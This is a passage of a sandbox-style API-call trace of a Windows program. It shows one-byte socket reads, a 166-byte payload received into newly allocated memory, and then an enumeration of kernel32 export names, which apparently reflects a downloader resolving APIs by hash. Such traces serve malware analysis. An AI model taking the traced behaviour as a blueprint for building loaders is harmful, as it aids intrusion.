buf=0x2e7f8a3*) returned 1 [0102.806] recv (in: s=0x544, buf=0x2e7f8a4, len=1, flags=0 | out: buf=0x2e7f8a4*) returned 1 [0102.806] recv (in: s=0x544, buf=0x2e7f8a5, len=1, flags=0 | out: buf=0x2e7f8a5*) returned 1 [0102.806] recv (in: s=0x544, buf=0x2e7f8a6, len=1, flags=0 | out: buf=0x2e7f8a6*) returned 1 [0102.806] recv (in: s=0x544, buf=0x2e7f8a7, len=1, flags=0 | out: buf=0x2e7f8a7*) returned 1 [0102.806] recv (in: s=0x544, buf=0x2e7f8a8, len=1, flags=0 | out: buf=0x2e7f8a8*) returned 1 [0102.807] recv (in: s=0x544, buf=0x2e7f8a9, len=1, flags=0 | out: buf=0x2e7f8a9*) returned 1 [0102.807] recv (in: s=0x544, buf=0x2e7f8aa, len=1, flags=0 | out: buf=0x2e7f8aa*) returned 1 [0102.807] recv (in: s=0x544, buf=0x2e7f8ab, len=1, flags=0 | out: buf=0x2e7f8ab*) returned 1 [0102.807] recv (in: s=0x544, buf=0x2e7f8ac, len=1, flags=0 | out: buf=0x2e7f8ac*) returned 1 [0102.807] recv (in: s=0x544, buf=0x2e7f8ad, len=1, flags=0 | out: buf=0x2e7f8ad*) returned 1 [0102.807] recv (in: s=0x544, buf=0x2e7f8ae, len=1, flags=0 | out: buf=0x2e7f8ae*) returned 1 [0102.807] recv (in: s=0x544, buf=0x2e7f8af, len=1, flags=0 | out: buf=0x2e7f8af*) returned 1 [0102.807] recv (in: s=0x544, buf=0x2e7f8b0, len=1, flags=0 | out: buf=0x2e7f8b0*) returned 1 [0102.807] recv (in: s=0x544, buf=0x2e7f8b1, len=1, flags=0 | out: buf=0x2e7f8b1*) returned 1 [0102.807] recv (in: s=0x544, buf=0x2e7f8b2, len=1, flags=0 | out: buf=0x2e7f8b2*) returned 1 [0102.807] recv (in: s=0x544, buf=0x2e7f8b3, len=1, flags=0 | out: buf=0x2e7f8b3*) returned 1 [0102.807] recv (in: s=0x544, buf=0x2e7f8b4, len=1, flags=0 | out: buf=0x2e7f8b4*) returned 1 [0102.808] recv (in: s=0x544, buf=0x2e7f8b5, len=1, flags=0 | out: buf=0x2e7f8b5*) returned 1 [0102.808] recv (in: s=0x544, buf=0x2e7f8b6, len=1, flags=0 | out: buf=0x2e7f8b6*) returned 1 [0102.808] recv (in: s=0x544, buf=0x2e7f8b7, len=1, flags=0 | out: buf=0x2e7f8b7*) returned 1 [0102.808] recv (in: s=0x544, buf=0x2e7f8b8, len=1, flags=0 | out: buf=0x2e7f8b8*) returned 1 [0102.808] recv (in: s=0x544, buf=0x2e7f8b9, len=1, flags=0 | out: buf=0x2e7f8b9*) returned 1 [0102.808] recv (in: s=0x544, buf=0x2e7f8ba, len=1, flags=0 | out: buf=0x2e7f8ba*) returned 1 [0102.808] recv (in: s=0x544, buf=0x2e7f8bb, len=1, flags=0 | out: buf=0x2e7f8bb*) returned 1 [0102.808] recv (in: s=0x544, buf=0x2e7f8bc, len=1, flags=0 | out: buf=0x2e7f8bc*) returned 1 [0102.808] recv (in: s=0x544, buf=0x2e7f8bd, len=1, flags=0 | out: buf=0x2e7f8bd*) returned 1 [0102.808] StrToIntA (lpSrc="166") returned 166 [0102.808] VirtualAlloc (lpAddress=0x0, dwSize=0xa6, flAllocationType=0x3000, flProtect=0x4) returned 0x3be0000 [0102.809] recv (in: s=0x544, buf=0x3be0000, len=166, flags=0 | out: buf=0x3be0000*) returned 166 [0102.809] VirtualFree (lpAddress=0x3b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0102.809] VirtualFree (lpAddress=0x3b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0102.810] VirtualFree (lpAddress=0x3bb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0102.810] closesocket (s=0x544) returned 0 [0102.811] WSACleanup () returned 0 [0102.811] VirtualFree (lpAddress=0x3040000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0102.811] VirtualFree (lpAddress=0x30b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0102.811] VirtualFree (lpAddress=0x3030000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0102.812] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0102.812] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0102.812] lstrlenA (lpString="kernel32.dll") returned 12 [0102.813] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0102.813] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0102.813] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0102.813] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0102.813] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0102.813] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0102.813] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0102.813] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0102.813] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0102.813] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0102.813] lstrlenA (lpString="ADDATOMA") returned 8 [0102.813] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0102.813] lstrlenA (lpString="ADDATOMW") returned 8 [0102.813] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0102.813] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0102.813] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0102.813] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0102.813] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0102.813] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0102.813] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0102.813] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0102.813] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0102.813] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0102.813] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0102.813] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0102.813] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0102.813] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0102.813] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0102.813] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0102.813] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0102.813] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0102.814] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0102.814] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0102.814] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0102.814] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0102.814] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0102.814] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0102.814] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0102.814] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0102.814] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0102.814] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0102.814] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0102.814] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0102.814] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0102.814] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0102.814] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0102.814] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0102.814] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0102.814] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0102.814] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0102.814] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0102.814] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0102.814] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0102.814] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0102.814] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0102.814] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0102.814] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0102.814] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0102.814] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0102.814] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0102.814] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0102.814] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0102.815] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0102.815] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0102.815] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0102.815] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0102.815] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0102.815] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0102.815] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0102.815] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0102.815] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0102.815] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0102.815] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0102.815] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0102.815] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0102.815] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0102.815] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0102.815] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0102.815] lstrlenA (lpString="BACKUPREAD") returned 10 [0102.815] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0102.815] lstrlenA (lpString="BACKUPSEEK") returned 10 [0102.815] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0102.815] lstrlenA (lpString="BACKUPWRITE") returned 11 [0102.815] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0102.815] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0102.815] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0102.815] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0102.815] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0102.815] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0102.815] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0102.815] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0102.815] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0102.815] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0102.815] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0102.816] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0102.816] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0102.816] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0102.816] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0102.816] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0102.816] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0102.816] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0102.816] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0102.816] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0102.816] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0102.816] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0102.816] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0102.816] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0102.816] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0102.816] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0102.816] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0102.816] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0102.816] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0102.816] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0102.816] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0102.816] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0102.816] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0102.816] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0102.816] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0102.816] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0102.816] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0102.816] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0102.816] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0102.816] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0102.816] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0102.817] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0102.817] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0102.817] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0102.817] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0102.817] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0102.817] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0102.817] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0102.817] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0102.817] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0102.817] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0102.817] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0102.817] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0102.817] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0102.817] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0102.817] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0102.817] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0102.817] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0102.817] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0102.817] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0102.817] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0102.817] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0102.817] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0102.817] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0102.817] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0102.817] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0102.817] lstrcpyA (in: lpString1=0x2e7f298, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0102.817] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0102.817] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0102.817] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0102.817] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0102.818] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0102.818] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0102.818] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0102.818] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0102.818] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0102.818] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0102.818] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0102.818] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0102.818] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0102.818] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0102.818] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0102.818] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0102.818] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0102.818] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0102.818] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0102.818] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0102.818] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0102.818] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0102.818] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0102.818] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0102.818] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0102.818] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0102.818] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0102.818] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0102.819] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0102.819] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0102.819] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0102.819] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0102.819] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0102.819] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0102.819] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0102.819] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0102.819] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0102.819] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0102.819] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0102.819] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0102.819] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0102.819] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0102.819] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0102.819] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0102.819] lstrlenA 